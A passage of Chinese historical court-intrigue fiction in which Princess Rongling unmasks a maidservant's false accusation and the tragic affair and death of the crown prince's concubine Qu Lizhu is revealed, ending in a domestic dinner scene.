这事更做不了假，瞿良娣何时出宫、去了哪里自有内侍记录。
“确是第一回。”
荣龄再抬眸瞧她一眼，“旱莲，你可想好了？你说的当是无误？”
旱莲望着那一张美极的脸，心中无端一颤。
世人谈起南漳郡主荣龄，头个想到的便是她领二十万边军，杀得前元节节败退的威名。可若再早些，这位郡主留在世人心中的却是美名——郡主虽面冷，但长了一副融合南漳王与玉妃长处的芙蓉面。
若二公主荣沁如牡丹张扬灿烂，那南漳郡主荣龄便是清冷上佳的十八学士。
旱莲便在这美极也冷极的一瞥中，恍觉一场冬雨倾盆而落，叫她一身湿寒、狼狈至极。
许久，她仍未想到自己露了什么破绽，于是答道：“无误。”
荣龄却如一只优雅的豹等着自投网中的猎物。
“那你告诉我，既是头一回去，又不曾看过丹桂林，你又怎会知道今年八月才移至林中的白梅花树？”
旱莲脑中哄地涌上血。
昨日午时的对话翻涌于脑海——
荣龄叹息道：“但凡再晚一些，待那白梅开了引去游人，瞿良娣也不至于遭人毒手也没个能求助的。”
旱莲因旁人难得的怜惜松了心房，“等不到了，小姐等不到那片白梅开，也等不到旁人来救她。”
原来，这位郡主也对小姐毫无怜悯，她只是在试她，在套话。
41. 错嫁
旱莲心中山河翻覆，但她狠咬舌尖，在锐痛与满嘴弥漫的血腥味中强自稳住心神。
不能慌，只一句无心之语，她怎样解释都行。
“旱莲不明白郡主说的什么，许是当时伤心过甚，听岔了也说岔了。”
好一句听岔了也说岔了。
荣龄事先倒也想过，兹事体大，这位忠仆绝不会轻易认罪。因而，她才攒下或间接或直接的许多证物，叫她最终不认也得认。
荣龄没有动怒，甚至还有闲心点了点旱莲身前的茶与点心。
“你用一些。”
旱莲垂眸看一眼三清茶与松仁酥，手指不自觉地捏起外裳的卷边。
荣龄居高临下，将那小动作看得一清二楚。
“为何不用？”她明知故问，“是怕蔺驸马房中的三清茶与瞿良娣配的乃一个滋味，还是觉得锦祥斋的松仁酥凉了便不再好味，蔺丞阳定不欢喜？”
旱莲忽然抬头，望向上首的太子与太子妃，语气激烈地辩驳，“太子殿下，奴婢实在不明白，郡主为何一忽说白梅花树，一忽又提三清茶、松仁酥。此事可与蔺丞阳谋害良娣有关？”
“旱莲恳请殿下…可怜良娣孤身来大都却…却不得善终，求殿下怜惜，莫叫旁人再辱她身后清净。”
她如杜鹃啼血，说得凄厉。
太子妃章氏生性柔善，叫旱莲哭得也红了眼眶，她望向荣龄，“阿木尔，那真相究竟如何，若瞿氏真叫…叫驸马欺辱了，殿下与本宫定为她讨这公道。阿木尔，你快说。”
荣龄在心中叹息，太子与太子妃温柔敦厚、伉俪情深，于社稷乃大幸，于瞿郦珠，却未必是。
“旱莲，你不是不明白，正相反，你太明白我为何拿出三清茶与松仁酥，因而你慌了、怕了，这才要引太子哥哥打断我、阻止我。”
不等她再开口，荣龄解释道：“太子哥哥，我昨夜去了趟二公主府，在蔺丞阳的书房发现了三清茶。我取了些，你若不信，可请人冲泡尝尝，是否与瞿良娣房中的一般无二？”
“至于松仁酥…林妃娘娘曾在宫外的锦祥斋偶遇瞿良娣，她那日买的正是松仁酥。”
章氏蹙着眉，“可本宫记得，瞿氏一用松子便全身红肿，因而她只用松仁泡茶，却不吃用。”
荣龄颔首，“是故，这松仁酥并非买给良娣自个，而是给驸马蔺丞阳的。蔺丞阳喜吃锦祥斋的松仁酥，许多人都晓得。”
“你胡说！”旱莲猛地直起身子，“三清茶非小姐一人能配，松仁酥也非蔺丞阳一人喜食。”
“郡主绕了恁大一圈，竟是为蔺丞阳开脱…不！不止！是还要将罪责归咎良娣、归咎东宫！”
她重重伏身，额头磕上沉水金砖，“太子殿下明鉴，郡主其心可诛！”
殿中一时安静下来，只旱莲或因愤怒、或因恐惧而生的咻咻鼻息。
荣龄仍不生气，“你说得也对，三清茶与松仁酥太过间接，你怎样解释都行。”
“那贵妃手中的帕子呢？绣有并蒂莲花与诗句‘想是鸳鸯头白死，双魂化作好花来’那张。”
她又向一脸不解的太子与太子妃详述这张绣帕的来历。
待听到暗纹锦，章氏已惊得双手微颤，“本宫确实…确实赏了一匹给瞿氏。”
旱莲却在惊慌中生了急智——并蒂莲，莲花，莲…
“并非良娣，是奴婢…”她前面有些磕巴，可一旦理顺思绪，却愈说愈流利，“是旱莲仰慕蔺驸马，因而绣了这帕子。旱莲名字中便有‘莲’字，驸马表字也含有‘莲花’，这才绣了并蒂莲花。”
荣龄对与她对峙许久，此刻倒真有些佩服这位不起眼的侍女。
危如累卵之际，她还能想出此等合情合理的开脱之辞，瞿氏培养这侍女，倒是用心。
只是…可惜了…
荣龄自怀中取出那枚茶针，“可是旱莲，你不会以为，我昨夜去了蔺丞阳房中，只取回一些三清茶吧？”
骤见那枚毫不起眼的紫檀木茶针，旱莲强自冷静至今的身子猛地一颤。
她心道，完了，都完了。
她似深埋井底的游魂终于曝于正午最烈的阳光下，便是再扭曲、窜逃，也叫荣龄手中的茶针死死钉住。
荣龄将茶针递过，“太子哥哥不若取来水晶镜，细瞧这茶针的最尖处。”
闻言，章氏亲去书房取了水晶镜，荣宗柟接过，找了许久在那茶针尖瞧见了极细微的“郦”字。
他将茶针与水晶镜重重拍在桌上。
章氏未看清。但见荣宗柟如此生气，她再管不上礼数，忙拿过两物，费了更多功夫找到那个“郦”字。
看清的一瞬，章氏脚下一软。荣宗柟忙扶起她。
荣龄望着眼前的乱局，阖眼吐出一口郁气。
这郁气中既有旱莲一朝诬告，将建平帝与太子在内的诸人耍得团团转的不甘，也有她无奈入局，再触及皇室的多情与无情的怅然，更有她无端做了揭露真相那人，许要搅得大都风云再起的不安。
这话一旦开口，他们都将再没有退路。
再过一会，荣龄重睁开眼，问道：“所以旱莲，真相到底是怎样的？”
真相？
旱莲凄厉一笑，慢慢站直身子。
这堂中坐了两个凶手，而他们竟来问，真相究竟如何。
何等荒唐！何等可笑！
旱莲的额心沁出血，又聚集为沉沉的一滴，待额心再承接不住，血滴倏地滚下，将她雪白的面容分作两半。
这滴血像极了瞿郦珠错嫁东宫，将她须臾的一生劈作迥然两半。
前一半，高贵、富足，叫旱莲艳羡需修几世福份，才能有这样的一生。
后一半，压抑、凄惨，绝无尊重，绝无爱意，也绝无希望。旱莲不仅不再羡慕，甚至在一个个寂寞无终的长夜怜悯、心疼她。
让一个卑微的宫女怜悯，瞿郦珠这半生该何等讽刺…
错嫁东宫前，瞿郦珠曾来大都见过荣宗柟。
那时的大梁方立国，一切正处于秩序初立、恣意仍存的时候。
那时的姑母会专门去膳房，为她蒸制姑母记忆中的关陇糕点。
那时的太子荣宗柟会带上她与二皇子、三皇子，专去南漳王叔的府上偷看挨揍的堂妹。他还会郑重品尝她亲手制的三清茶，大赞真是好味。
瞿郦珠记忆中的大都、记忆中的太子荣宗柟都闪着莹绿色的亮光，较胜春的草木更生机勃勃。
因而当父亲告知她，族中决定仍由她嫁去东宫，给荣宗柟做良娣时，瞿郦珠悬了许久的心终于落了地。
至于族中为何商讨良久，瞿郦珠又为何心悬无定——只因她自及笄那日起，额上本淡得瞧不出的胎记便一日浓郁过一日。
那之后，她几不出门，对外只称害了病，不能见风。
而因这胎记，父亲、母亲本不想她去东宫，可瞿郦珠忘不了那道雍容的玉色身影，她对母亲说，若此生不能嫁与荣宗柟，她宁可孤苦一生。
到了出阁那日，紫红胎记自额角蔓至头心，已有巴掌大。
母亲许是看透这场缘分是个死局，因而在送别时，哭得不能自已，“你这样天真，去了宫里何人护你？”
瞿郦珠却未放心上，她
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的一颗心早已飞去大都。
可当荣宗柟却了喜扇，他眼中的惊愣刺痛瞿郦珠。
那晚，本因彻夜长明的龙凤烛很早便叫熄了。
那晚，瞿郦珠满怀憧憬冲泡的三清茶直至凉透也无人品尝。
那晚，荣宗柟紧阖双眼，并未碰她。
宫中无秘事。
太子荣宗柟娶了个“钟无艳”，呕得房都未圆的传闻传遍东西六宫。
皇后瞿氏气得一佛出世二佛升天。可等荣宗柟领着瞿郦珠来坤宁宫向她请安，皇后脱口一句“天爷，怎的生出这恶心的印记？”
瞿郦珠低落了一夜的心更沉到古井底，沉到再不见天日的地狱。
她忽然明白了母亲的泪——这宫中当真无人护她。
但为了瞿氏的脸面，皇后留下了太子，与他秘密商议良久。
那夜，荣宗柟喝下烈酒，又服用冯领侍递来的秘药。
借了酒与药，这房总算圆了。
可瞿郦珠的处境并未因这张落了元红的帕子改善。
她自来了大都，便似坐上一驾从雪山顶滑落的木撬，它愈滑愈快、永不停止，直到落入无边深渊，再无回寰余地。
其实若说荣宗柟亏待她，那也不对。
他给了她一个良娣能有的一切——一间宽敞的宫殿、多过这个份位能有的侍从的数量、还有年节赐下的各类绫罗珠宝。
甚至在皇后旁敲侧击，是否让瞿氏再送个貌美的女儿来时，他也断然拒绝。
他只是，心中没有瞿郦珠。
但这不是过错。
瞿郦珠在一整夜一整夜的无眠中拼命回忆——年幼时皇后、太子如何待她好，那些喷香的糕点、赌书泼茶的乐趣终在无数次的描摹中失去确切形状。
她开始遗忘。
瞿郦珠还曾有过一个朋友，是东宫一位同样不受宠的侍妾。
可某日，她在宫人的口耳相接中听到了自个昨夜才吐露的苦水。
宫人们转述中，那位侍妾笑得弯了腰——“我骗她那盒妆粉加了家传的秘方，连着敷一月便能将她额上的胎记去了。她竟信了！竟信了！真是可怜呐！”
瞿郦珠回了房，将那人给的一盒妆粉狠狠掷在地上。
更叫人不寒而栗的是，瞿郦珠虽未亲见，但她竟能十分自然地想出侍妾尖酸滑稽的腔调——仿若她在一旁，冷眼看了千遍、万遍。
事实上，她确也见了无数遍。
可惜她本以为与那侍妾同为天涯沦落人，因而交了心。
哪知临了临了，人家只是找个比自己更凄惨的倒霉蛋，踩着她更好过些。
后来，这些不像样的话传到太子妃章氏耳中。
章氏又告诉了荣宗柟，瞿郦珠便再没有见过那位侍妾。
只是再面对荣宗柟时，她在心中哀求地想，请不要用这种眼神看着我，我不想在你心中仅剩一个愚蠢、卑微、软弱无能的形象。
自那以后，瞿郦珠便锁上仅剩一个缝隙的心门。
她不看、不听、不说，总没人再伤害她。
可她不知道，宫里的人全是精怪，一眼便能看出眼前这位主是当真有底气，还是心里空得跟个竹子芯一般。
待认清瞿郦珠并无人撑腰，他们转头便扑上来，吸吮精血，啃食骨肉。
没几年，那朵在关陇盛开的花枯得没了样子。
直到建平十二年的正月初二，这朵枯萎日久的花终于尝上几滴久违的甘霖。
可惜这甘霖既非来自她的夫君荣宗柟，也非姑姑瞿氏，而是一位仅点头相交数次，几能称得上陌生人的男子。
42. 孽缘
正月初二，正是每年的三清茶会。
皇后瞿氏忽地提起，“郦珠自小擅茶道，一盏三清茶更是幽远清旷，余韵绵长。郦珠，快来为陛下砌一盏三清茶。”
瞿郦珠一怔。
自她以这幅面貌来了大都，皇后瞿氏便冷了心，全无年幼时的亲厚。更甚者，她认为瞿郦珠叫瞿氏没了面子，待她更比旁人还要冷淡。
是以，她今日又想起瞿郦珠，是为何？
但不论如何，待瞿郦珠净完手，开始生火、掏水、煮茶、热盅，她的心静下来，暂时忘记旁人意味不明的眼神。
待冲出一盏盏清亮的茶汤，建平帝品鉴赞道：“不愧是瞿氏的女儿，孟建确是花了功夫。”
瞿孟建便是瞿郦珠的父亲，瞿氏这一代的族长。
荣宗柟也浅尝一口，“郦珠慧心精妙，竟不输白龙子制的三清茶。”
那一刻，瞿郦珠久违的喜悦中又泛出苦——荣宗柟果然忘了，他早就喝过她冲泡的三清茶，早在十余年前。
可等三清茶会散，旱莲带来的一纸家书让这半分苦变作十分、百分。家书中说，父亲当了建平帝手中的刀，为他收拢了一众关陇勋贵。
说是收拢，可瞿郦珠明白，这里头如何可胜计要耗费的心血、家财，甚至武力。
瞿孟建也因不忿者暗算，断了一条腿。
瞿郦珠痛到极致，心中生出既烫又麻的幻觉。
她不住地想，母亲说得对，她太天真了，竟会天真地以为今日的一句夸赞只因一盏小小的茶。
这句话如此沉重，沉重到系了瞿氏阖族的忠心、系了瞿孟建的一条腿与自此断绝的仕途。
瞿郦珠不敢在东宫哭，便让旱莲递了牌子，去到大都郊外的永定河畔。
正月初二，正是万家团圆的日子。
永定河畔游荡着孤零零的两道人影——那是失了魂的瞿郦珠与忧心的旱莲。
旱莲不敢离得太远，生怕瞿郦珠一时想不开，投水了断性命。
直到风愈紧，呜咽着为河畔盖上一片天然的遮掩，旱莲终于听到痛哭夹杂在风中传来，一声厉过一声。
她的视线也开始模糊。
她听到瞿郦珠对着关陇的方向泣不成调，“父亲、母亲，是郦珠错了，郦珠不该来的，不该来…”
她终于后悔了。
瞿郦珠在河畔待了许久，久到她的周身没有一丝热气，久到旱莲也不得不扶起瘫坐在地的她，“良娣，该回宫了，宫门要关了。”
回宫路上，马车行过一处河曲，瞿郦珠意外发现此处有另一驾马车。
她警惕打量——这驾马车停得近，与她的停留之地仅隔了一个河曲…她说了许多不该说的，里头的主人可都听见了？
那马车装饰得华丽，绝非寻常人家能用的。
瞿郦珠只怕那人认出她，再将些悖逆之语转告建平帝与荣宗柟…那事情便大不好了。
因而，她心中惶惶且懊悔。
谁知，那马车的主人自个走了下来。
那是一位着锦袍的公子，他其貌不扬，身量也不甚高，可一身周正稳重的风度并非世间凡品。
瞿郦珠认出来，他是二驸马蔺丞阳。
她心中更一紧，听闻太子与二公主的关系并不好…
驸马岂非来者不善？
但蔺丞阳未冒犯，他拱手问候道：“不想在此处遇到良娣，今日在三清茶会饮了良娣的一盏三清茶。某从未尝过这等清新悠邈的茶汤…良娣的茶道，确已臻入化境。”
他说得十分真挚，瞿郦珠未在他面上发现任何一丝因父亲的遭遇而生的怜悯。
她既觉荒唐，又有高兴，谁曾想三清茶会中恁多的人，竟只有蔺丞阳真心夸一句她的茶道。
瞿郦珠撑起窗子，颔首谢了句，“驸马谬赞。”
二人称不上交情，也不便攀谈许久。
略说过几句，瞿郦珠便告别道：“那我们便回宫了。”
正要阖上支摘窗，蔺丞阳忽又唤道：“良娣。”
瞿郦珠停住，并以目相询。
蔺丞阳略蓄了口气，望向她，“良娣，我在宫中也有许多不快的事。”他语气平和，既无抱怨，也非怜惜，他只是平铺直叙地说，如在告知一桩寻常的事实。
瞿郦珠一怔。
蔺丞阳并未再说，他让到一旁，又拱手与她作别。
马车前行，将孤寂又苍凉的永定河畔慢慢扔在后头。
瞿郦珠的眼眶又润湿。
旱莲不住地问，良娣这是怎么了。
瞿郦珠无法解释，也难以形容，那种孤身在地狱行走，走得忘了时间、淡去记忆、也快没了自我时，有另一人告诉她，你不是一个人，也有人与你一般挣扎的…
震惊、动容。
那是峭壁的罅隙中生出的花，是百里绵延的荒漠中长出的草，是亘古黑夜中伴着一颗星的另一颗星。
瞿郦珠再次撑开窗，望向后方。
蔺丞阳已缩成窄窄的一道，可他仍未上车，而是目送她远去。
两个将要在各自的处境中溺毙的人就此有了交集。
瞿郦珠头次觉得，那个冰冷的皇家、那些辉煌但与她毫无关系的宫宴都有了一丝微茫的意义——有道身影不厌其烦地告诉她，她不是独一个。
甚至，她开始企盼宫宴。
在心中看清这分心思时，瞿郦珠吓得摔碎了自己最喜爱的钧窑茶盏。
可待偷眼四望，她的宫中仍一片死寂——太子不会来，紫陌东风也吹不到窗前。
谁会在乎一个不起眼的东宫良娣，又有谁能猜到她的一分晦暗情思。
瞿郦珠一次又一次地将隐秘的目光投向蔺丞阳。仿若多看一眼，她便能汲取一分撑下去的勇气。
直到——
她难凉的视线撞到同样回望的眼神。
那一瞬，西山最美的桃花也比不过瞿郦珠心中盛开的花海。
但人性贪婪，很快，她便不满足于这神魂的交错。
瞿郦珠听说，蔺丞阳最喜食锦祥斋的松仁酥。她买了些，又让旱莲寻了人送去都察院的公房。
她未让人言明是谁人相赠，但有一种奇异的自信——蔺丞阳定能猜得出。
果然，下一回相见，他寻了机会与太子攀谈，与她擦肩时，低低道：“多谢你的松仁酥。”
瞿郦珠的耳朵尖都热起来，这样隐秘、炙烈、挑衅的快感是她从未有过的体验。
旱莲也曾相劝，道是这事若败露，不仅瞿郦珠自个，便是瞿氏都要陪葬。
瞿郦珠明白厉害，待蔺丞阳热了一阵，又冷下来。
谁知蔺丞阳在一个僻静的角
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落拦下她，瞿郦珠吓得几要尖叫。
“你这是何意？叫人上了心又撇下，浮浮沉沉的便是你的手段吗？”
瞿郦珠一面是拼命抑下爱意的痛苦，一面却是叫情人误解的慌乱。她本就心智不坚，当下更是被诘问得泪盈于眶。
“我没有！我只是…蔺丞阳，我怕。”
蔺丞阳的愤怒偃下来，又化作浓重的怜惜，“我明白，我不会怎样的，我只想明白你的心意。”
又过几月，二人的生辰次第到了。
蔺丞阳赠了瞿郦珠一枝她永无法佩戴的孔雀钗，瞿郦珠回赠一张绣有蔺丞阳表字与一句诗的帕子。
正是这张含义大胆的绣帕，二公主荣沁与蔺丞阳闹了个底朝天。
可查了半天，高高在上的公主殿下怎样都怀疑不到从未正眼打量过一次、那个卑微又丑陋的东宫良娣身上。
蔺丞阳懊悔道：“我不该拿出来瞧的，可我忍不住。”
瞿郦珠便想了个法子，找出一套自家中带来的、从未用过的紫檀木六君子。她指着茶则、茶针、茶夹的细微处道：“我家中有巧匠最擅微雕，此处有我名字中的‘郦’字，定没人能瞧出来。”
蔺丞阳喜不释手，又将之故意放在显眼的塌几之上。
这一举动像极了他们拼命压抑、又歇斯底里地想要宣告存在的恋情。
可本就畸形的种子，注定开出危险的花，结出淬了毒的果。
在长春观的那日，旱莲除了并非候在二仙庵，而是随往丹桂林把风，其余的并未说谎。
她再次看到瞿郦珠时，瞿郦珠涨红了一张脸，那张脸上有恐惧、慌乱，可更多的，却是兴奋。
旱莲心中一沉，暗暗嚷了一句“天爷”。
也许这便是因果。
既有恶因，便是再防备、再当心，也终有偿还果报之时。
因而，即便旱莲偷偷配了避子汤叫瞿郦珠喝下，一个月之后，她仍害了喜。
旱莲用力扣住瞿郦珠的腕子，“良娣，你莫天真，这孩子不能留。”
瞿郦珠明白——太子几年未碰她，这喜脉若叫太医把出便是一个死。“我知道，我知道，”她落下泪，“旱莲，你给我几天时间，我想让丞阳知道，我们曾有过这样一个孩子。”
而当蔺丞阳得知这一消息，他眼中先有一喜，但转瞬，喜色又化作无边苦涩，“郦珠，对不起，是我的错，叫你受苦了。”
为防落胎药过于伤身，他托了几道，寻来专瞧了一辈子妇人症的老御医开出的药方。
故事说到这里，荣龄已能猜到结局。
果然，旱莲已慢慢平静下来，冷着嗓音说出血淋淋的不堪。
“可良娣服了那副药，当夜便血流不止，她掐着我的手，不住问道‘他为何这样狠心，他要杀了我？’”
瞿郦珠的眼中也沁出血，“为什么，我究竟做错何事，到最终家人不得、友人不得…便是恋人，也不得。”
她的眼中黯下去，如余晖落入永夜。
可她忽又攥住旱莲的手，用力地、绝望地，“旱莲，他既狠了心要杀我，你帮帮我，也叫他永堕地狱。”
这句话落，瞿郦珠的一口气如蓬絮散开。
在仅有的旱莲的哭泣中，那个与她一起长大，叫她艳羡也惹她怜悯的小姐走完了仅仅廿三岁的一生。
43. 愧怍
许久，承乾殿中再无人开口。
直到一记瓷器相撞的清亮又悠长的鸣响自上首传来——章氏虽尽力平复在峰谷间激荡的心情，可她长在宫中，未遇到这样难解的局面。
她的手上失了力道，茶盏重重磕在瓷托上。
荣宗柟转过头，劝道：“你去歇着，郦珠的事孤来解决。”
章氏一急，拉住他的手，“殿下待如何解决？殿下与臣妾是夫妻，何事非要避开臣妾？”
荣宗柟安慰地拍了拍她，“非是避开，你身子不好，不宜大喜大悲。你去歇歇，待有了定论，孤不会瞒你。”
不等章氏再说，他已唤道：“冯全，送太子妃回去。”
待章氏一步三回头地离开，荣宗柟又让阿卯带走旱莲。
偌大的承乾殿便只余他与荣龄二人。
许久，荣宗柟夹带几分回忆开口。
“阿木尔，你是孤的妹妹，孤甚至还记得你背不出《孟子·梁惠王》一篇时，瞎说的‘必使仰足以食炙肉，俯足以骑大马’（原句仰足以事父母，俯足以蓄妻子）…说起来，郦珠也是孤的妹妹，可除了她额上那处有碍观瞻的胎记，孤…”
他换了自称，“我竟想不起来，关于她的任何事。”
“她来大都可曾想家，可有人为她做过关陇的小菜，她喜欢怎样款式的衣裳，常用哪里贡来的香膏、螺子黛…我从不过问，也毫不关心。”
他说得平静，□□龄却在那透明的平静下看到汹涌又沉郁的痛。
但情之一事，剪不断理还乱。
荣龄身在局外，劝什么都不合适。
“可我也知道，如今再问这些，有何意义？不过是想要抹去一些心中无用的愧怍。”荣宗柟慢慢站起，又转过身，抬头看那幅“心昭日月”的匾，“我在朝会前还与你说‘浮云世事改，孤月此心明’，但若——”
“此心不明呢？”
荣龄仍无法回答。
她也站起来，想了许久，才问道：“太子哥哥，你将太子妃支开，可有要吩咐阿木尔的？”
荣宗柟抬手，玉色衣袖快速掠过眼角。
衣袖落下，他又沉沉咽下一口气。
帝王便是悲痛，也只昙花一瞬。
再次开口时，他的语中已无异常，“郦珠不可无辜而死，孤要亲自去陛下面前状告蔺丞阳。”
荣宗柟的这一决定未叫荣龄意外，不过——
“太子哥哥，一旦揭露真相，良娣或能讨回公道，但瞿氏…”
他们或是保不住了。
瞿郦珠与蔺丞阳一事，往轻了说，是皇室丑闻，往重了说，却祸乱储君血脉、践踏国祚，不顾及半分君威、法纪、德行。
便是建文帝有恻隐之心，但三法司、赵氏一党绝不会放过。
可瞿氏又是荣宗柟的母家，是唯一与他有助益的外戚…他当真能狠下心？
“瞿氏乃皇后与孤的母族，为外戚之首。瞿氏女犯下此罪，也是孤约束不严。便由孤呈‘罪己诏’代为受过。”荣宗柟平静道。
“罪己诏”三字一出，荣龄惊得高了嗓音——”太子哥哥，你疯了？”
难怪他要支开太子妃单独与她说。他竟要用这太子的身份、颜面保全瞿氏。
“今日我未叫上三哥，便是要与太子哥哥相商，这事如何与陛下说。你怎的…怎的想出这个荒唐的法子？”
荣宗柟右手一按，示意荣龄不要再说，“可阿木尔，你既愿意率先叫我晓得这真相，便是信重我，明白我不会让你昧着良心瞒下，罔顾一条人命。”
“郦珠的死，虽是蔺丞阳做的孽，可我、母后，也不无辜。”
“但太子哥哥，”荣龄忽然哽了嗓子，这是自小待她亲厚，如一株可靠的巨榕为她挡下不知几多风雨的荣宗柟，“这罪己诏一出，荣宗阙不会放过你…”
荣龄头次在荣宗柟面前挑明他与荣宗阙的相争。
为何偏偏，这块状若平和的掩布要由她亲手揭下？
荣宗柟摇了摇头，拍了拍她头顶的圆髻，“小丫头，这是我与你二哥的事，你莫瞎操心。”
“更何况，这也是我作为兄长、作为丈夫，唯一能为郦珠做的。”
出东宫的路上，冯全陪在荣龄一旁。
他是东宫老人，自然不会探问承乾殿中的异常。他只如往常一般，说些不疼不痒的大都八卦给荣龄解闷。
“前些日子，苏九苏领侍叫奴婢陪着，去瓦舍瞧了一出时兴的曲儿。道是一书生至大都赶考，待出了杏榜，便失去音讯。同乡落地的举子回到家乡，与那书生的妻子道‘你相公中了进士，又叫宰相榜下捉婿，定不会回来了’。一句话说得妻子几昏死过去。”
“可当乡中早已传开书生做了陈世美，抛弃糟糠之妻时，妻子倒冷静下来，决定来大都问个明白。”
乡人们多是劝她莫白白废了银两，去大都落个没面。可妻子坚持道：“活要见人，死要见尸。除非是相公亲口与我说的，不然，我不甘心。”
她历经千辛万苦，终于来到大都。这才发现，书生失踪竟是因宰相威逼不成，将他囚在宰相府。书生曾买通下人，递出条子让那举子念着同乡情谊，去都察院击鼓鸣冤。
可举子忌恨书生考中状元，愣是没理，更可恨的是，他又回乡传出那样的话。若非妻子心志坚定赶来大都，他真要陷入永无天日的绝境。
最后，妻子去往都察院鸣冤，恰遇上微服私访的皇帝。皇帝震怒，叫人救出书生，又杀了目无法纪的宰相。
自此，书生平步青云，与妻子终身相守，濡沫一生。
“这曲儿虽实在离奇，但一波三折也有些趣味。郡主若有闲，可与张大人一同去瞧个热闹。”冯全乐呵呵地建议道。
□□龄既未说好，也不曾断然拒绝。
她慢慢停下本就不快的脚步，在东宫的宫门处沉思起来。
活要见人，死要见尸…
这句市井儿童都熟知的俚话在曲折的情节中凸显出来。它如暗夜里闪着微光的火金姑，倏地落在荣龄心头。
荣龄心中一震——蔺丞阳也是“活未见人”的状态…
在她原先的猜测中，蔺丞阳是为了避祸，来了个不见踪影。可若他也如那书生一般，并非自个躲起来，而是叫人囚住了？
若他也有难言之隐…？
“领侍，你便送我到这里。快快回去给太子哥哥带句话，便说那事先不急，请他等一等阿木尔。”
她的语气郑重，神色也肃然。
冯领侍知道轻重，忙行了礼回转而去。
待坐上马车，荣龄用力按揉发胀的额角。
自回了大都，她整日里殚精竭虑，提着心行在盘根错
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节的权力旋涡中。若非为了探查花间司、找出父王战死的真相，她可真不愿回来。
才几日，她便已想念南漳暖湿的空气，想念见山台满山头的茶花——腊月将至，它们都要次第开花了。
想到这，荣龄又记起张廷瑜费心巴拉带去保州的抓破美人脸，也不知他是否听了建议，将那花又救活。
马车外送来百姓归家的喧闹，荣龄隔窗望去，在市井的一片烟火气中松下心神——不论怎样，一想到过会便能在家中见到张廷瑜，她低沉的情绪生出舒快。
可谁知，在南漳王府等候荣龄的不止张廷瑜，更有一位出乎意料的不速之客。
额尔登恭敬候在正门外。
荣龄落了车，见他身旁站了一位深色宫装的侍女。
那人行礼，“奴婢见过郡主。”
是服侍玉鸣柯的曹姑姑。
荣龄脚下一顿，简短唤她一句：“曹姑姑。”
只是…她来做什么？荣龄瞥了额尔登一眼。
额尔登会意，在一旁解释道：“当年，郡主与张大人拜了堂，却因战事，未入洞房、饮合卺酒便回了南漳。但这礼紧要，郡主既回了大都，总要补上。那时的酒隔了三年自然不能再喝，但玉妃娘娘收了房中的喜烛，道是待郡主回来再点上，取个长长久久的好兆头”
“今日，曹姑姑正奉玉妃娘娘之命，将喜烛送来。”
这倒出乎荣龄的意料。
她又无端想到一些没有道理的关联——荣宗柟在新婚之夜熄了龙凤烛，他与瞿郦珠的情缘没个善果…
荣龄心中一怔又一赧，如今的自个怎信起这些神神鬼鬼…
不过，她领这份情，“曹姑姑替我谢过玉妃。”
她又想起前几日，林妃曾提起，因听闻五莲峰的变故，玉鸣柯一下便病倒了。荣龄犹豫了一会，终问道：“她的身子可好些了？”
曹姑姑拉过荣龄的手，“郡主，这话是奴婢僭越。”
那手的温度与荣龄记忆中一般和暖，只听她道：“那日，郡主已至平乐宫外，娘娘早命奴婢备下郡主用惯的奶茶、皮子。可谁知，郡主与林妃说完话便出了宫。那晚，娘娘一夜辗转，未能成眠。奴婢守在寝宫外，听得真是心疼。”
曹姑姑言辞恳切，“郡主，再怎样，她也是怀胎十月将你生下的亲娘。你去宫里看看她吧。”
荣龄咬了牙，不肯回答。
一面，她肉体凡胎，自然羡慕旁人有父亲遮风、母亲挡雨，说她不曾想念儿时玉鸣柯馨香的怀抱，那是骗人。可另一面，她抛下与父王的十余年夫妻情意，抛下年仅一十三岁的她，仿若否定了在南漳王府的一切，头也不回地奔向建平帝身侧…
如今的荣龄虽已长大，再不会哭嚷着“母妃”自梦中醒来，可她无法代替父王，也无法代替那时的自己，原囿玉鸣柯。
三人已至清梧院，荣龄抬头便能看见那幅由南漳王荣信求来，却落了建平帝荣邺字迹的“梧桐断角”题匾。
她摇了摇头，“再说吧，我眼下没工夫。”
曹姑姑失望地松开手，她正要再劝，可下一刻，一道童稚的嗓音脆亮亮地自正厅奔来。
“你可算回来了，本公主饿极了，但张大人说要等你回来再用。”
荣龄望去，一只玉雪可爱的糯米团子趴在白檀木门边，正俏生生回望她。
44. 喜烛
荣龄脑中一炸，直愣愣地问道：“你怎的来了？”
如今的宫中只荣毓一个未长大的皇女，她便是混账到要爬上乾清宫的庑殿顶，瞧瞧那上头是否也长了瓦松，上至建平帝、下至刚留头的小宫女，谁会说个不字？
因而，乍听荣龄这既不客气也绝不欢迎的问话，荣毓小嘴一撅，“我好心来看你…你真讨厌！难怪你不敢去见母妃，母妃定会揍你！”
这话说的…好似小丫头也常挨玉鸣柯的打一般。
但，这与荣龄何干？
“我又没让你来。”
不请自来，还有理了？
见姊妹二人又如乌眼鸡一般斗起嘴来，曹姑姑忙按下大的，劝住小的。
“公主自三年前见了郡主一回，心中便日日惦记。听闻郡主回来，她搬了马扎守在宫门口等候许久。今日奴婢来王府送喜烛，公主嚷嚷着定要一道来，陛下与娘娘便也允了。”
这是对荣龄的解释。
曹姑姑又走上石阶，蹲下·身拉住荣毓的手，“公主不是一直想见阿姊？不着急，慢慢说。”
张廷瑜也走过来，凑在荣龄耳旁劝道：“郡主忙了一天，早些用饭。况且人都来了，还能立时赶出去不成？”
荣龄刚要犟“便是立时赶出去又怎样？”，张廷瑜忙揽过肩顺毛，“不过一个孩子，不与她一般见识。”
荣龄给他面子，气呼呼入了花厅。
但用饭时又出了岔子。
姊妹俩相对而坐，张廷瑜夹在中间。
他想着荣毓年纪小，便为她布了一箸菜。可那箸冬季难得的鸡油煨菠菜尚未放入荣毓碟中，另一旁的荣龄已重重按下筷子，不吃了。
他忙完这一头，转身问道：“怎的不吃了，可是有其他想用的？不如叫长史做来？”
眼前的芙蓉面如玉润白，与另一头鬼精灵的小人一般无二。便是二人唇边不时浮现的小涡也几在同一位置，是同样形状。
荣龄白了一眼，“你为何给她布菜？她自个没有手，没旁的人帮她？”她口中的旁的人自然指陪着荣毓一道来的曹姑姑。
张廷瑜立马反应过来。
他又夹了一箸荣龄喜爱的煎烤榛蘑，“今日的榛蘑是关外连夜送来的，厨房收拾时蒂上的泥都还是湿的，郡主快用一些。”
见那箸榛蘑比自个碟中的鸡油煨菠菜量更多，荣毓又不高兴，她假模假式地挤出两滴泪，“荣毓也喜爱吃榛蘑，张大人我也要。”
张廷瑜哪见过这阵仗，他接过那两只举起的小手，将那糯米团子抱来怀中。他又挑出一片最大最新鲜的榛蘑，喂到荣毓嘴边，“公主不哭，快尝尝。”
